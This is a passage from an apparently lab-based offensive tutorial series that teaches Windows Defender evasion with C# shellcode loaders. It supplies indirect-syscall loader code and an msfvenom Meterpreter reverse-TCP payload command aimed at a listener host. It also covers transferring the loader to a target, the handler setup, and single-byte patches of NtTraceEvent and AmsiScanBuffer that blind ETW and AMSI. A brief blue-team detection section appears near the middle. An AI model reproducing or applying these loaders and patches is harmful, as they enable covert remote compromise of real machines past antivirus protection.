The shellcode is XOR-encoded with key 0xAB and embedded directly in the binary as a byte array. Before compiling, you replace the text `SHELLCODE_PLACEHOLDER` in the source file with your actual XOR-encoded shellcode bytes. When C# compiles this, those scrambled byte values get written directly into the .exe file on your hard drive. Defender opens that .exe, reads the whole thing from start to end, and checks whether any byte sequence matches something in its database. The XOR-scrambled bytes look like random data. The original shellcode bytes that Defender knows about are not there - every byte has been flipped by XOR. The decoding loop that unscrambles the shellcode runs entirely in the computer's RAM, so the real shellcode never touches the hard drive.

```
stubBlock = VirtualAlloc(IntPtr.Zero, STUB_SIZE * STUB_COUNT,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

IntPtr gadget;
unsafe { gadget = FindSyscallGadget(ntdll); }
IntPtr allocAddr = BuildStub(ntdll, "NtAllocateVirtualMemory", gadget, 0);
IntPtr protAddr2 = BuildStub(ntdll, "NtProtectVirtualMemory", gadget, 1);
IntPtr threadAddr = BuildStub(ntdll, "NtCreateThreadEx", gadget, 2);
IntPtr waitAddr = BuildStub(ntdll, "NtWaitForSingleObject", gadget, 3);
```

Allocate the stub block (88 bytes, RWX), find the gadget inside `ntdll`, build all four stubs. After this, `allocAddr` is the address of a 22-byte stub that will perform an `NtAllocateVirtualMemory` syscall when called. The delegates are wrappers around those stubs:

```

var ntAlloc = (NtAllocateVirtualMemory_t)
↳ Marshal.GetDelegateForFunctionPointer(allocAddr,
↳ typeof(NtAllocateVirtualMemory_t));
var ntProtect = (NtProtectVirtualMemory_t)
↳ Marshal.GetDelegateForFunctionPointer(protAddr2, typeof(NtProtectVirtualMemory_t));
var ntThread = (NtCreateThreadEx_t)
↳ Marshal.GetDelegateForFunctionPointer(threadAddr, typeof(NtCreateThreadEx_t));
var ntWait = (NtWaitForSingleObject_t)
↳ Marshal.GetDelegateForFunctionPointer(waitAddr, typeof(NtWaitForSingleObject_t));

```

Calling `ntAlloc(...)` calls our stub, which sets up registers and jumps to the syscall gadget inside `ntdll`. Defender's hook at `NtAllocateVirtualMemory`'s function start is never touched.

8.7.6 Main Function: Allocate, Write, Protect, Execute

```

IntPtr baseAddress = IntPtr.Zero;
IntPtr regionSize = (IntPtr)shellcode.Length;
IntPtr currentProcess = (IntPtr)(-1);

```

Set up the parameters. `baseAddress` is `IntPtr.Zero`, which tells Windows to pick any available address. `regionSize` is the shellcode length. `currentProcess` is `-1` cast to `IntPtr`, which is the NT handle for “the current process” (equivalent to `GetCurrentProcess()`).

```

int status = ntAllocate(
    currentProcess,
    ref baseAddress,
    IntPtr.Zero,
    ref regionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

```

Allocate memory as `PAGE_READWRITE` (0x04). This is step 1 of two-step allocation. The memory is writable (so you can copy shellcode into it) but not executable. After this call, `baseAddress` contains the address Windows chose. `status` is 0 (`STATUS_SUCCESS`) if the allocation worked.

```

Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length);
Array.Clear(shellcode, 0, shellcode.Length);

```

Copy the decrypted shellcode bytes into the allocated memory block, then zero out the managed byte array. The shellcode now exists only in the unmanaged `VirtualAlloc` block.

```

IntPtr protectAddress = baseAddress;
IntPtr protectSize = regionSize;
uint oldProtect;

status = ntProtect(
    currentProcess,
    ref protectAddress,
    ref protectSize,
    PAGE_EXECUTE_READ,
    out oldProtect
);

```

```
    out oldProtect  
);
```

Change the memory protection from `PAGE_READWRITE` (0x04) to `PAGE_EXECUTE_READ` (0x20). Step 2 of two-step allocation. The memory is now executable and readable, but no longer writable. The `oldProtect` variable receives the previous value (0x04).

```
IntPtr threadHandle;  
  
status = ntCreateThread(  
    out threadHandle,  
    THREAD_ALL_ACCESS,  
    IntPtr.Zero,  
    currentProcess,  
    baseAddress,  
    IntPtr.Zero,  
    0,  
    IntPtr.Zero,  
    IntPtr.Zero,  
    IntPtr.Zero,  
    IntPtr.Zero  
);
```

Create a thread that starts executing at `baseAddress` (where the shellcode is). `THREAD_ALL_ACCESS` (0x1FFFFFFF) gives full permissions on the thread handle. Most parameters are `IntPtr.Zero` because we do not need advanced thread options. The `out threadHandle` receives the handle to the new thread.

```
ntWait(threadHandle, false, IntPtr.Zero);
```

Wait forever for the shellcode thread to finish. The Meterpreter payload keeps the connection open until you close it, so this wait keeps the loader process alive.

8.7.7 The Complete Loader File

The full source code is at `lab/loaders/03_direct_syscalls_loader.cs`.

8.8 Compilation and Execution

8.8.1 Step 1: Generate and Encrypt Shellcode

If you already have `encrypted.bin` from Document 06 on the dev box, skip to Step 2. Otherwise, on Kali:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.200 LPORT=4444 -f raw  
↳ -o payload.bin
```

Transfer `payload.bin` from Kali to the dev box (ammulu) using `python3 -m http.server 8080` on Kali and `Invoke-WebRequest` on the dev box. Then run the encoder from Document 06 on the dev box:

```
xor_encode.exe payload.bin encrypted.bin
```

Save the printed XOR key.

8.8.2 Step 2: Compile Loader 03

On the dev box (ammulu, 192.168.10.150), open Command Prompt and create a new project:

```
dotnet new console -n Loader03
```

Replace the contents of `Loader03\Program.cs` with the code from `03_direct_syscalls_loader.cs` (with the shellcode bytes already in place). Then publish as a single .exe:

```
dotnet publish Loader03 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output
```

Expected output: the command produces `output\Loader03.exe` with no errors.

8.8.3 Step 3: Transfer the Files to the Target

On the dev box (ammulu), host both files on a Python HTTP server:

```
cd C:\Users\ammulu\Desktop
python -m http.server 8080
```

On the target (kimjongun, 192.168.10.100), download the compiled binary:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/Loader03.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\Loader03.exe"
```

The shellcode is already embedded in the binary. No separate .bin file is needed on the target.

8.8.4 Step 4: Set Up Your Listener on Kali

```
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.200
set LPORT 4444
run
```

8.8.5 Step 5: Run the Loader

On the target (kimjongun, 192.168.10.100):

```
syscall_loader.exe encrypted.bin 4A7F2B9DE3A1C084F56D1B8E97320AF6
```

Replace the hex key with your actual key from the encoder.

Expected output:

```
[+] Data decrypted: 510 bytes
[+] NT functions resolved dynamically
[+] Memory allocated at: 0x1A000260000
[+] Data written to allocated memory. Managed copy cleared.
[+] Memory protection changed to EXECUTE_READ
[+] Thread created. Code is running.
```

This time, Defender does NOT block the loader.

Check your Metasploit listener on Kali. You should see:

```
[*] Sending stage (201798 bytes) to 192.168.10.100
[*] Meterpreter session 1 opened (192.168.10.200:4444 -> 192.168.10.100:xxxxx)
```

```
meterpreter >
```

You have a Meterpreter session. Type `sysinfo` to confirm you are on the target:

```
meterpreter > sysinfo
Computer      : DESKTOP-XXXXXXX
OS            : Windows 11 (10.0 Build 22621)
```

This is your first successful callback with Defender fully enabled.

8.9 Confirming Success

Three things confirm that Loader 03 worked:

1. **Meterpreter session opened.** Your Kali listener shows a session. You can run `sysinfo`, `getuid`, `pwd`, and other Meterpreter commands. The shellcode is running inside the loader process on the target.
2. **No Defender alerts.** Open Windows Security on the target (kimjongun). Go to Virus & threat protection, then Protection history. There should be no new entries for `syscall_loader.exe`. Defender did not catch the loader.
3. **The loader process is running.** Open Task Manager on the target. Look for `syscall_loader.exe` (or whatever you named the binary). It shows as a normal process. Defender is not flagging it.

If Defender does catch the loader (which can happen if Defender's cloud signatures have been updated since this was written), check the detection name and proceed to Documents 08 and 10 which add AMSI patching, ETW patching, and additional evasion layers.

8.10 What Was Gained

You can now:

- Resolve Windows API function addresses at runtime using `GetProcAddress` instead of `DllImport`
- Build function name strings from integer offsets so they never appear as literals in the binary
- Call NT-level functions (`NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`) directly via delegates
- Use two-step memory allocation (RW then RX) instead of a single RWX allocation
- Combine XOR encryption with dynamic resolution to defeat both disk scanning and import table analysis
- **Get a callback on the target with Defender fully enabled**

You have bypassed three of Defender's six detection layers:

- Static file scanning: defeated by XOR encryption
- Import table analysis: defeated by dynamic resolution via `GetProcAddress`
- Behavioral ML scoring: reduced below threshold by two-step allocation and clean imports

Three layers are still active but not catching you at default sensitivity:

- AMSI: still running, but the shellcode is in unmanaged memory

- ETW: still logging events, but the pattern is not triggering alerts
- API hooks: still present in ntdll.dll, but not triggering on this specific call pattern

Documents 08, 09, and 10 address these remaining layers for maximum stealth.

8.11 Common Threats and Variations

8.11.1 Variation 1: Direct Syscalls (Inline Assembly)

Loader 03 uses indirect syscalls - it finds the `syscall; ret` gadget inside ntdll and jumps to it. The jump target is a memory address inside ntdll, so the call stack shows a return address inside ntdll, which looks legitimate to any EDR that walks the call stack.

A different approach is direct syscalls, where you embed the raw `syscall` instruction directly in your own code stub rather than jumping to ntdll's copy. The benefit is that the call never touches ntdll at all - not even the gadget. The downside is that you have to embed raw x86 opcodes (typically `0x0F 0x05` for `syscall`) as a byte array in your code and cast it to a function pointer. You also need to look up the syscall number (SSN) yourself from ntdll's memory at runtime, because direct syscalls still require the correct SSN for the current Windows version.

Tools like SysWhispers3 and SysWhispers4 can generate either style automatically. For most Defender-only scenarios without a third-party EDR, the indirect syscall approach in Loader 03 is sufficient and simpler to implement in C#.

8.11.2 Variation 2: Manual Syscall Number Resolution

Instead of using `GetProcAddress` to call the ntdll.dll function, you can read the syscall number from ntdll.dll's code in memory (the `mov eax, XX` instruction near the beginning of each function) and issue the `syscall` instruction directly from your own code using assembly.

The benefit: your code never calls any ntdll.dll function, so hooks at the function entry point are bypassed completely. The risk: syscall numbers change between Windows versions. Number `0x18` for `NtAllocateVirtualMemory` on one build might be different on another build. If you hardcode the wrong number, the call fails or crashes.

Tools like SysWhispers solve this by reading the syscall numbers from ntdll.dll at runtime, getting the correct values for the current Windows version.

8.11.3 Variation 3: Fresh NTDLL Copy

Defender's hooks modify ntdll.dll in your process's memory. Another evasion approach is to load a fresh, unhooked copy of ntdll.dll from disk. The copy on disk has no hooks. You map it into your process's memory at a different address and call functions from the clean copy.

This is called NTDLL unhooking and is covered conceptually in Document 10 (Combined Evasion).

8.12 Detection and Defense (Blue Team Perspective)

Monitor `GetProcAddress` calls that resolve NT functions. A legitimate program calling `GetProcAddress` for `NtAllocateVirtualMemory` or `NtCreateThreadEx` is unusual. Most programs use the kernel32 wrappers. An EDR that logs `GetProcAddress` calls and checks which function names are being resolved can detect this technique.

Blue team action: configure your EDR to alert when `GetProcAddress` resolves NT-level function names (any function starting with "Nt" or "Zw" in ntdll.dll).

Use kernel-level monitoring instead of user-mode hooks. Defender's user-mode hooks in `ntdll.dll` can be bypassed by dynamic resolution, indirect syscalls, or NTDLL unhooking. Kernel-level monitoring (using Windows kernel callbacks) cannot be bypassed from user mode because the monitoring code runs in the kernel itself.

Blue team action: deploy EDR products that use kernel callbacks (`PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`, `ObRegisterCallbacks`) in addition to user-mode hooks. These kernel callbacks fire regardless of how the API was called.

Watch for two-step memory protection changes. A process that allocates memory as RW, writes to it, then changes the protection to RX is performing just-in-time compilation or code injection. While JIT compilers (like .NET itself) do this legitimately, an unknown binary doing it is suspicious.

Blue team action: alert on `VirtualProtect`/`NtProtectVirtualMemory` calls that change memory from writable to executable, especially from binaries that are not .NET runtime components or known JIT compilers.

Deploy application whitelisting. None of these evasion techniques work if the binary is not allowed to run in the first place. Windows Defender Application Control (WDAC) or AppLocker can restrict which binaries execute to a pre-approved list. A custom-compiled loader will not be on the list.

Blue team action: implement application whitelisting in production environments. Only signed, known binaries should be permitted to run.

8.13 What Comes Next

Document 08 (`lab/materials/08_amsi_bypass.md`) addresses two more detection layers: AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows). AMSI scans .NET code at runtime, and ETW logs process behavior events. Document 08 teaches Loader 04 (AMSI patching) and Loader 07 (ETW patching), which disable both systems before your shellcode runs. Combined with the dynamic resolution from Loader 03, this gives you a loader that bypasses five of Defender's six detection layers.

Document 08: AMSI Bypass and ETW Patching - Blinding Defender's Eyes

9.1 Where We Are

You finished Documents 05, 06, and 07. You have built three loaders that all survive Defender:

- **Loader 01** (Document 05): Raw shellcode embedded via DllImport. Survives Defender with default settings. The XOR encoding keeps static signatures below the detection threshold.
- **Loader 02** (Document 06): XOR-encrypted shellcode decrypted at runtime with two-step memory allocation. Survives Defender. Confirmed with a Meterpreter callback on the target.
- **Loader 03** (Document 07): Indirect syscall stubs (FindSyscallGadget + BuildStub), embedded XOR-encoded shellcode, two-step RW-then-RX allocation. Fully bypasses ntdll API hooks. Confirmed working on target with Defender fully active.

Your C# knowledge at this point:

- DllImport, P/Invoke, calling Windows API functions from C#
- VirtualAlloc, Marshal.Copy, CreateThread, NtAllocateVirtualMemory, NtCreateThreadEx
- Delegates and unmanaged function pointers via Marshal.GetDelegateForFunctionPointer
- GetModuleHandle, GetProcAddress for dynamic function resolution
- Building strings from integer offsets to hide function names from static scanners
- Two-step memory allocation (RW then RX) via NtProtectVirtualMemory
- XOR encryption and in-binary embedded shellcode
- FindSyscallGadget: scanning ntdll for the 0F 05 C3 (syscall; ret) bytes
- BuildStub: writing 22-byte indirect syscall stubs that jump past ntdll hooks

Your lab has three machines: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode and listeners.

9.2 Why This Is Next

Loader 03 gave you a callback, but two detection layers are still active on the target:

1. **ETW (Event Tracing for Windows)** is still logging activity. Every time Loader 03 calls NtAllocateVirtualMemory or NtCreateThreadEx through its indirect syscall stubs, the Win-

dows kernel still generates ETW events for those operations. Loader 03 survives because the overall behavioral score stays below Defender's threshold, but ETW is actively recording what your process does. A more sensitive policy, or a commercial EDR that uses ETW more aggressively, will catch those event sequences.

2. **AMSI (Antimalware Scan Interface)** is still scanning .NET code at runtime. Loader 03 survived because its managed code has no malicious patterns. But if you want to run PowerShell commands or load additional .NET tools after getting access, AMSI will inspect those and can block them.

Loader 03's indirect syscall stubs already fully defeat API hook inspection (covered in Document 07). This document addresses the remaining two gaps.

You will learn Loader 07 (ETW patch) first and then Loader 04 (AMSI bypass). The order matters because patching AMSI generates ETW events that describe what was modified. If you patch ETW first, the logging system is already silenced when you then patch AMSI, so no event is generated and Defender does not know AMSI was touched.

After this document, you will have two utility loaders. Document 10 combines both patches with Loader 03's shellcode execution into a single binary that patches ETW, patches AMSI, and then executes shellcode all in one run.

9.3 How This Works

9.3.1 ETW: Why Windows Tracks What Programs Do

When you run a program on Windows, Windows needs to know what that program is doing. Is it allocating memory? Creating threads? Connecting to the internet? Windows needs this information because Defender cannot protect the system if it does not know what programs are up to. Without some kind of tracking, a malicious program could do anything it wants and Defender would have no idea.

So Windows has a built-in tracking system called ETW, which stands for Event Tracing for Windows. It has been part of every Windows version since XP. Here is how it works: every time your program does something (allocates memory, opens a file, creates a thread, connects to a network), Windows writes a log entry that describes what happened. These log entries are called ETW events.

Defender reads these log entries in real time. When Defender sees a sequence like "this program allocated memory, wrote data into it, made it executable, and created a thread pointing to it", Defender recognizes that as the shellcode injection pattern and blocks the program. Without ETW, Defender would not know that sequence of events happened.

The function responsible for writing all these log entries is called `EtwEventWrite`. It lives inside `ntdll.dll`. Every time your program does something that needs to be logged, Windows calls `EtwEventWrite` to send the log entry to Defender and any other security product that is listening. Here is the important part: if `EtwEventWrite` stops working, no log entries get sent. Defender receives nothing. Your program goes dark. Defender cannot detect suspicious behavior patterns if it never receives the events that describe the behavior.

There is one important limitation. The ETW we are patching is the user-mode version. There is also a kernel-mode ETW provider called Microsoft-Windows-Threat-Intelligence that runs inside the Windows kernel itself. Because the kernel runs at a higher privilege level than your program, you cannot patch it from user mode. Default Windows Defender primarily uses user-mode ETW telemetry, so patching user-mode `EtwEventWrite` is enough to blind Defender. Some advanced EDR products use the kernel provider, and this patch does not affect them. Document 11 discusses what happens when you face those products.

9.3.2 AMSI: Why Windows Checks PowerShell Commands

PowerShell is a command-line tool that comes pre-installed on every Windows computer. It is extremely powerful. You can use PowerShell to download files from the internet, run programs in memory, manage user accounts, read and write the registry, and control nearly everything on the system. System administrators use it every day because it makes managing Windows computers fast and easy.

Hackers noticed the same thing. Because PowerShell is already on every Windows machine, hackers started using it to run malicious commands. They did not need to bring their own malware onto the computer. They just opened PowerShell and typed commands that download and execute payloads, dump passwords, or move through a network. This is called “living off the land” because you use tools that are already on the machine instead of bringing your own.

Microsoft had a problem. They could not remove PowerShell because millions of system administrators depend on it. But they needed a way to stop hackers from abusing it. So they created AMSI, which stands for Antimalware Scan Interface. Microsoft added AMSI in Windows 10, and it is still active in Windows 11.

AMSI's job is simple. Before PowerShell runs any command you type, AMSI checks that command with Defender first. Here is the step-by-step flow:

1. You type a command into PowerShell.
2. Before PowerShell runs the command, it passes the command text to AMSI.
3. AMSI sends the command text to Defender.
4. Defender checks the command against its signature database.
5. If Defender says the command is malicious, AMSI tells PowerShell to block it. You see an error message saying the script was blocked.
6. If Defender says the command is clean, AMSI tells PowerShell to run it normally.

AMSI does not only check PowerShell. It also checks VBScript, JScript, and the .NET runtime (which is what runs your C# programs). So when your C# loader runs, AMSI can check the managed code inside it.

AMSI is implemented as a DLL file called `amsi.dll`. This DLL gets loaded into every process that hosts a scripting engine. The main function inside `amsi.dll` is called `AmsiScanBuffer`. When PowerShell (or any scripting engine) wants to check content, it calls `AmsiScanBuffer` with the content bytes. `AmsiScanBuffer` talks to Defender and returns a result code that says either “this is malicious, block it” or “this is clean, allow it.”

Here is the weakness that makes our bypass work. If `AmsiScanBuffer` returns an error code instead of a real scan result, the scripting engine does not treat the error as “something is wrong, block everything.” Instead, it treats the error as “the scan could not be done, allow the content.” Our patch overwrites the beginning of `AmsiScanBuffer` with instructions that make it return the error code `E_INVALIDARG` (0x80070057) immediately, without scanning anything. After the patch, every call to `AmsiScanBuffer` returns this error. The scripting engine thinks the scan failed, not that the content is malicious, and it allows everything through.

9.3.3 Why ETW Must Be Patched Before AMSI

When you modify a DLL's code in memory (which is what the AMSI patch does), that modification generates ETW events. Specifically, `EtwEventWrite` logs events related to code integrity and module loading. Defender's behavioral engine monitors these events. If Defender sees “process X modified `amsi.dll` in memory”, that is a known attack pattern. Defender can flag the process immediately.

If you patch ETW first, `EtwEventWrite` is already neutered. When you then patch AMSI, the patching operation tries to generate ETW events, but `EtwEventWrite` just returns success without writing anything. Defender never learns that `amsi.dll` was modified.

The execution order is:

1. Patch `EtwEventWrite` in `ntdll.dll` (Loader 07)
2. Patch `AmsiScanBuffer` in `amsi.dll` (Loader 04)
3. Now run your shellcode or PowerShell scripts (no scanning, no logging)

9.3.4 Why the Previous Patching Approach Was Caught

The obvious approach to patching ETW and AMSI is to find the function, use `VirtualProtect` to make the code page writable, write a few bytes that make the function return immediately, then restore protection. Loaders that do this are caught by Defender before they even run.

Defender's static scanner looks for this exact combination in a compiled binary: a `DllImport` for `VirtualProtect` alongside `DllImports` for `GetModuleHandle` and `GetProcAddress` in the same assembly. This triad (`GetModuleHandle` + `GetProcAddress` + `VirtualProtect`) is a named Defender signature pattern because virtually every AMSI bypass and ETW patch tool uses exactly these three imports together. Defenders calls this the "MpTest!amsi" detection cluster.

Additionally, the classic patch bytes for each target are directly signed:

- ETW patch: `0x33 0xC0 0xC3` (`xor eax,eax; ret`) - 3 bytes, directly in the database
- AMSI patch: `0xB8 0x57 0x00 0x07 0x80 0xC3` (`mov eax, E_INVALIDARG; ret`) - 6 bytes, directly in the database

These are signed regardless of arithmetic obfuscation. If you write `patch[0] = (byte)(0x19 + 0x1A)` to produce `0x33` at runtime, Defender's scanner evaluates that arithmetic at scan time and still sees `0x33`. Constant-folding at the scanner level defeats simple arithmetic obfuscation.

9.3.5 How Loader 07 Works: NtTraceEvent Indirect Syscall Patch

Loader 07 sidesteps both detection signals. It does not import `VirtualProtect` at all, and it patches a different target function.

No `VirtualProtect` `DllImport`: instead of `VirtualProtect`, Loader 07 uses an indirect `NtProtectVirtualMemory` syscall stub - the same technique from Loader 03 (`BuildStub` + `FindSyscallGadget`). `VirtualProtect` is completely absent from the binary's import table. The `DllImport` list is `GetModuleHandle`, `GetProcAddress`, `VirtualAlloc` (for the 22-byte stub block). This combination is not in Defender's detection patterns.

Different target function - `NtTraceEvent` instead of `EtwEventWrite`: `EtwEventWrite` is the most commonly targeted function and has the most detection signatures. `NtTraceEvent` is the underlying NT syscall stub that all ETW wrapper functions eventually call. One byte written to `NtTraceEvent` silences `EtwEventWrite` and every other ETW writer in the process. `NtTraceEvent` is a less commonly signed target because fewer public tools use it directly.

Single byte `0xC3` instead of 3-byte xor pattern: A single `0xC3` (`ret` instruction) byte is not signaturable in isolation - that byte appears in millions of binaries. The classic 3-byte sequence `0x31 0xC0 0xC3` (or `0x33 0xC0 0xC3`) is signed because it appears only in this context. Callers of `NtTraceEvent` do not check the return value, so returning immediately with whatever happens to be in `eax` works the same as `xor eax,eax; ret`.

The execution flow: Loader 07 calls BuildStub for NtProtectVirtualMemory (same 22-byte trampoline as in Loader 03), changes NtTraceEvent's page from RX to RW via that stub (no VirtualProtect call), writes 0xC3 via Marshal.WriteByte, restores protection via the stub again.

9.3.6 How Loader 04 Works: AmsiScanBuffer Indirect Syscall Patch

Loader 04 uses exactly the same indirect syscall technique as Loader 07, applied to a different target. It patches AmsiScanBuffer, which is the function inside amsi.dll that actually scans content. When AmsiScanBuffer is called after the patch, it returns immediately without inspecting anything.

The steps: find ntdll base, find the `syscall; ret` gadget inside ntdll, allocate 22 bytes for the stub, build an indirect NtProtectVirtualMemory stub using BuildStub (same as Loaders 03 and 07), load amsi.dll via LoadLibraryA (built from integer offsets at runtime), find AmsiScanBuffer inside amsi.dll via GetProcAddress (function name also built from offsets), change AmsiScanBuffer's page from RX to RW via the indirect stub, write a single byte 0xC3 (ret) at the function start, then restore the original page protection via the indirect stub.

After the patch, any call to AmsiScanBuffer returns immediately. The `amsiResult` output parameter is never written, so it keeps whatever value the caller initialized it to (typically 0, which is `AMSI_RESULT_CLEAN`). The CLR's AMSI consumer checks whether `amsiResult` is greater than or equal to `AMSI_RESULT_DETECTED` (32768). Zero is less than 32768, so content passes.

DllImports in Loader 04: `GetModuleHandle`, `GetProcAddress`, `VirtualAlloc`, `LoadLibraryA`. No `VirtualProtect` anywhere in the binary. This combination is not in Defender's `MpTest!amsi` detection patterns.

9.3.7 Why ETW Must Still Be Patched Before AMSI

When Loader 04 calls the indirect NtProtectVirtualMemory stub to change AmsiScanBuffer's page protection, that kernel operation generates ETW events. Defender's behavioral monitoring receives telemetry about the protection change and the memory write. If ETW is already silenced by the NtTraceEvent patch before Loader 04 runs, no event is generated and Defender sees nothing. Patch ETW first.

9.4 What Defender Does

Here is what each Defender detection layer does when it encounters Loader 07 (ETW patch) and Loader 04 (AMSI bypass):

Static file scanning (Loader 07): `VirtualProtect` is absent from Loader 07's import table entirely. The DllImport list is `GetModuleHandle`, `GetProcAddress`, `VirtualAlloc`. Without `VirtualProtect` in the import table, the DllImport triad that triggers the `MpTest!amsi` detection cluster does not form. The target function name `NtTraceEvent` is built from integer offsets at runtime and never appears as a string in the binary. The patch byte 0xC3 is written via `Marshal.WriteByte`, which compiles to a generic memory-write instruction with no recognizable constant value adjacent to a `VirtualProtect` call.

Static file scanning (Loader 04): Loader 04 imports `GetModuleHandle`, `GetProcAddress`, `VirtualAlloc`, `LoadLibraryA`. This is not the same combination as the `MpTest!amsi` detection cluster (which requires `VirtualProtect` alongside `GetProcAddress` and `GetModuleHandle`). The function name "AmsiScanBuffer" and the string "amsi.dll" are never present as literals - both are built from integer offsets at runtime. The single patch byte 0xC3 is written via `Marshal.WriteByte` with no signaturable constant adjacent to it.

Import table analysis: Loader 07 imports GetModuleHandle, GetProcAddress, VirtualAlloc. Loader 04 imports GetModuleHandle, GetProcAddress, VirtualAlloc, LoadLibraryA. Neither binary contains the GetModuleHandle + GetProcAddress + VirtualProtect triad that Defender's MpTest!amsi cluster looks for. VirtualProtect is absent from both binaries.

AMSI runtime scanning: When the .NET CLR loads either binary, AMSI checks the managed code before Main() runs. Neither binary contains known bad patterns (no shellcode byte arrays, no PowerShell download strings, no tool names). AMSI passes both. After Loader 04 runs, AMSI is disabled in that process entirely.

ETW telemetry: Loader 07 targets this layer. Before the ETW patch runs, the loader's actions generate ETW events. After the single-byte NtTraceEvent patch, no more ETW events come from this process. Loader 04's NtProtectVirtualMemory call (via the indirect stub) generates an ETW event when it changes AmsiScanBuffer's page protection. This is why you run Loader 07 first, with ETW already silenced before the protection change happens.

API hooks in ntdll.dll: Both loaders use an indirect NtProtectVirtualMemory stub (same technique as Loader 03) to change the target function's page protection. The indirect stub jumps to a real syscall instruction inside ntdll, skipping the hooked function prologue where Defender's hook would redirect control. Loader 07 uses the stub to change NtTraceEvent's protection. Loader 04 uses the same stub to change AmsiScanBuffer's protection.

Behavioral ML: Writing a single byte to an NT function's code page is a behavior that exists in legitimate software (JIT compilers do exactly this). Both loaders create 22 bytes of executable memory for their syscall stub, indistinguishable from JIT stub allocation by the CLR. Neither loader's behavior profile triggers Defender's behavioral model on its own.

9.5 The Evasion Technique

What these loaders do differently from a normal program:

A normal program never modifies the code of a system DLL in its own process. When you run notepad.exe, it never overwrites bytes inside ntdll.dll or amsi.dll. Our loaders do exactly that, and they get away with it because of several factors:

1. **Single byte patch.** Both loaders write exactly one byte (0xC3, the ret instruction) to their target function. Defender's known AMSI bypass signatures target multi-byte patterns like the 3-byte xor/ret sequence (0x31 0xC0 0xC3) or the 6-byte E_INVALIDARG sequence (0xB8 0x57 0x00 0x07 0x80 0xC3). A single 0xC3 byte does not match any of these patterns. The byte 0xC3 appears in millions of binaries as the end of every function, so it is unsignaturable in isolation.
2. **No suspicious strings.** The function names and DLL names are built from integer arithmetic at runtime. "NtTraceEvent", "NtProtectVirtualMemory", "AmsiScanBuffer", "amsi.dll", "ntdll" - none of these appear as string literals in either compiled binary. Static scanners searching for these strings find nothing.
3. **No VirtualProtect DllImport.** The classic ETW and AMSI bypass tools all import VirtualProtect via DllImport. Defender's MpTest!amsi detection cluster fires when it sees VirtualProtect + GetProcAddress + GetModuleHandle in the same binary's import table. Both loaders avoid VirtualProtect entirely by using an indirect NtProtectVirtualMemory syscall stub for the protection change.
4. **Protection restoration.** After applying the patch, both loaders restore the original memory protection via the same indirect stub. If Defender checks the memory permissions on the patched region later, it sees the normal read-execute protection that the DLL code should have.

The bytes that would normally get flagged are the multi-byte patch sequences used by older public tools, the strings “AmsiScanBuffer”, “EtwEventWrite”, and the VirtualProtect import. Both loaders avoid all three signals.

9.6 Getting the Loader Onto the Target

Both Loader 07 (ETW patch) and Loader 04 (AMSI patch) are standalone executables that you compile on the dev box and transfer to the target. In practice, you will rarely run them as standalone tools. Document 10 combines both patches into Loader 08 (the combined evasion loader) which patches ETW, patches AMSI, and then executes shellcode all in one binary. But for learning, you will compile and run each one separately to understand what they do.

9.6.1 Transfer Workflow

1. **Kali (192.168.10.200):** Not needed for these two loaders. They do not use shellcode. They just patch system functions.
2. **Dev box (ammulu, 192.168.10.150):** Compile both loaders. Host the compiled .exe files on a Python HTTP server.
3. **Target (kimjongun, 192.168.10.100):** Download the .exe files from the dev box. Run Loader 07 first (ETW patch), then run Loader 04 (AMSI patch).

On the dev box (ammulu), host the files:

```
cd C:\Users\ammulu\Desktop
python -m http.server 8080
```

On the target (kimjongun), download both:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/etw_patch.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\etw_patch.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/amsi_bypass.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\amsi_bypass.exe"
```

Defender on the target scans both files when they are written to disk. Because neither binary contains suspicious strings in its import table or data section, Defender allows both files to stay on disk.

Important limitation: The AMSI and ETW patches affect only the process that applies them. When you run etw_patch.exe, ETW is patched inside the etw_patch.exe process. When that process exits, the patch is gone. The next process you run has a fresh, unpatched copy of ntdll.dll and amsi.dll. This means running the patches as standalone .exe files is useful for testing, but for real operations, both patches must be applied inside the same process that will execute shellcode. Document 10 handles this.

Process tree: Defender tracks which processes create other processes. When you run etw_patch.exe from cmd.exe or PowerShell, Defender sees cmd.exe (or powershell.exe) as the parent process and etw_patch.exe as the child. This is normal. There is nothing suspicious about the process tree for these loaders.

Reference files: [lab/loaders/07_etw_patch.cs](#) and [lab/loaders/04_amsi_bypass.cs](#)

9.7 Teaching the Code

9.7.1 Part 1: Loader 07 - ETW Patch

We start with the ETW patch because it must run before the AMSI patch.

Windows API Imports and Delegate

```
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name);
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr module, string
    proc);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(
    IntPtr addr, uint size, uint allocType, uint protect);
```

GetModuleHandle and GetProcAddress you have seen before in Loader 03. They find DLLs and functions in memory. VirtualAlloc here allocates exactly 22 bytes for the indirect syscall stub. Notice there is no VirtualProtect import. The memory protection change for NtTraceEvent goes through the stub, not through a direct VirtualProtect call.

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int NtProtectVirtualMemory_t(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    ref IntPtr RegionSize,
    uint NewProtect,
    out uint OldProtect
);
```

This is the function signature for NtProtectVirtualMemory. It describes the parameters so the .NET runtime knows how to call it when we point it at our stub. The stub is not the real NtProtectVirtualMemory - it is a 22-byte trampoline that jumps to the real syscall instruction inside ntdll, bypassing any hook at the function start.

FindSyscallGadget and BuildStub

